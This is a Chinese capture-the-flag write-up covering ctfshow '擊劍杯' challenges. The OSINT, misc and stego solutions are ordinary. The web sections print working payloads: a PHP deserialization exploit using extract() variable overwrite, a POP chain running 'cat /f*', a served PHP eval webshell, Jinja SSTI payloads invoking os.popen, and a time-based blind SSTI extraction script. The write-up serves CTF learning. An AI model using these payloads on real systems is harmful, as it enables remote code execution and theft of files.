進群得碼
群里發送 擊劍杯簽到即可
所以就發送 “擊劍杯簽到即可”
然后得到flag
給我看看
三血
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
//require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='Only you know';
$this->useless="I_love_u";
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$secret = $_GET['s'];
if(isset($secret)){
if($secret==="給我看看!"){
extract($_POST);
if($secret==="給我看看!"){
die("<script>window.alert('這是不能說的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
}
unserialize($secret);
}
}else{
show_source(__FILE__);
}
先不看前面的,看下面這部分,get傳一個s,然后secret=s,如果get傳的s=給我看看!,那么就進入if里,這里有個extract($_POST)比較關鍵,我們可以POST一個secret=xxx,下面的
if($secret==="給我看看!"){
die("<script>window.alert('這是不能說的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
}
就可以跳過,進入反序列化,本地調一下就很清楚了
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
//require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public $you_never_know;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='123';
$this->useless="I_love_u";
$this->you_never_know="123";//這個其實沒吊用
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$a=new whoami();
echo urlencode(serialize($a));
payload:POST傳
secret=O%3A6%3A%22whoami%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A19%3A%22ctfshow%E7%AC%AC%E4%B8%80%E6%B7%B1%E6%83%85%22%3Bs%3A11%3A%22your_answer%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22useless%22%3Bs%3A8%3A%22I_love_u%22%3Bs%3A14%3A%22you_never_know%22%3Bs%3A3%3A%22123%22%3B%7D&you_never_know=123
安裝Arch
osint的題目,注意到這個

bilibili搜一下安裝arch教程,隨便看看,關注這兩個點,在前面的幾個視頻很快就能發現了

https://www.bilibili.com/video/BV1e3411B79M?from=search&seid=4632972958279843894&spm_id_from=333.337.0.0
所以flag顯而易見,
這是哪里
識圖(把藍天白云截掉),中國福建省漳州市東山縣黃道周公園
經緯度https://maplocation.sjfkai.com/
然后提交
見微知著
檔案上傳,看群主b站視頻即可,包含一個帶有一句話的地址,
然后訪問upload,hackbar里傳就行了

附太空人師傅給的"建站"腳本
# coding=utf-8
from flask import *
app = Flask(__name__)
# 對用戶進行加密
app.secret_key = '*************************'
# 首頁路由
@app.route('/',methods=['GET', 'POST'])
def index():
return "<?php eval($_POST[1]);?>"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True)
聽歌識曲
用QQ音樂聽出是Царь-батюшка ПУ,但是名字不對,翻譯了一下,結果為普王,就懷疑是不是普京總統的意思,然后百度一下普京唱的歌,看到這個視頻
https://v.youku.com/v_show/id_XNDE4NzA2Mjk4NA==
然后就ok了 填普京的英文名
么西么西
nc上去給1336-697 1477-697 1477-697 1336-770 1209-852 1477-697 1336-770 1209-852 1336-941 1209-770 1209-852 1209-697 1209-697 1336-697 1336-941 1336-941 1477-770 1209-697 1477-770 1209-770 1477-852 1336-697 1209-770 1477-852 1209-697 1209-852 1336-697 1336-852 1477-770 1209-770 1477-697 1477-697 1336-697 1336-941 1336-697 1209-852 1336-941 1336-770 1477-770 1209-852 1209-697 1477-697 1209-697 1477-852 1477-697 1477-770 1209-852 1477-770 1209-697 1336-697 1477-852 1209-697 1209-852 1336-770 1477-852 1336-941 1209-852 1209-770 1336-770 1336-697 1209-697 1209-697 1477-697 1209-770 1209-697 1209-697 1209-770 1336-770 1209-697 1477-770 1336-770 1336-941 1209-852 1209-697 1209-852 1336-852 1336-697 1477-770 1336-852 1209-852 1336-770 1209-770 1209-852 1336-697 1477-770 1336-697 1477-852 1336-770 1209-852 1336-852 1477-697 1209-852 1477-697 1477-852 1477-697 1209-697 1477-852 1336-852 1336-852 1209-852 1336-697 1336-941 1209-697 1336-770 1209-697 1336-941 1336-941 1336-697 1477-697 1209-852 1336-852
直接拿去百度

DTMF,百度

然后對應著替換,得到233573570471120061649249172864332027056713193676129175907452113411451650717826875472629578373931988720151002378
然后
然后轉一下就ok
火烤大牛2.0
xlsx檔案,我用自帶的office打開會報錯,換了WPS才正常打開,進去一個像素圖,全選然后設定顏色為紅色,發現有隱隱約約的PASS字樣,

放大看看,有房子票子什么的 還有我愛xx,hint提示愛情價更高,把房子票子的全替換為空,就看的很清楚了

_Dan1u_2.0_
把xlsx搞成壓縮包能找到一張圖也是dn22.png,帶password的png隱寫,試一下之前bugku皇家馬德里用到的lsb.py,解出個假的flag,那么真的應該是xlsx里面這張,但是是由每一個單元格填充而成的,用腳本提取以后再做成一張圖片,再用lsb.py解即可得到flag,腳本我就不放了,各位自己研究才有意思,
英語閱讀
感謝@FW_ENJOEY師傅供題,太棒了!
小炫炫最近迷上了OSINT,他說他在某年的考研英語閱讀中,曾見到過OSINT,那篇文章中,還提到了他的偶像,你知道他的偶像的名字嘛,
百度考研英語 Open Source Intelligence ,找到文章 2003年的,開頭人名就是,但是這里有個坑,wild不算,wild應該是個形容詞,草
看圖識碼
打開得到四個定位符的二維碼,hint說這是四張,維基百科查QRCODE,查到一個mirco QR CODE,這種二維碼只有一個定位符的,感覺是四個這樣的二維碼拼在一起,將圖片分成四份分開用軟體掃描即可,軟體是cortexscan,點開掃描右上角有選項,把mirco QR CODE的選項打開才能掃
中文識別帶師

然后百度這個字,復制讀音粘貼即可,筆畫數百度也有,連續十次答對即可得到flag,蛋疼
Ezpop
<?php
class action_2
{
public $p;
public $tmp;
}
class action_4
{
public $ctf;
public $show;
}
$o1 = new action_4();
$o1->ran = new action_2();
$o1->ran->p = new action_4();
$o1->ran->p->ctf = "action_3";
$o1->ran->p->show = "cat /f*";
echo urlencode(serialize($o1));
誰是CTF之王
{"verb":["{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"],"noun":"a","adjective":"a","person":"a","place":"a"}
近在眼前
ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c 33 /app/flag.txt` = \"2\" ];then sleep 2;fi').read()")}}
import requests as req
import time
char_set = "1234567890abcdef-"
sess = req.session()
flag = {}
for i in range(1, 46):
for c in char_set:
url = r"""http://75364536-23be-4516-abd4-728fd0786a72.challenge.ctf.show/ssti?input={{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % (
i, c)
time.sleep(0.2)
resp = sess.get(url)
if resp.elapsed.seconds >= 2:
print(c, end='')
flag[i] = c
print(flag)
# ctfshow{523cf210-4ef8-4302-8022-9c00f32a4522}
通關大佬
jwt弱密碼12345
腳本隱藏
payload隱藏
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/356907.html
標籤:其他
上一篇:反序列化漏洞
下一篇:CTFshow 擊劍杯 部分WP
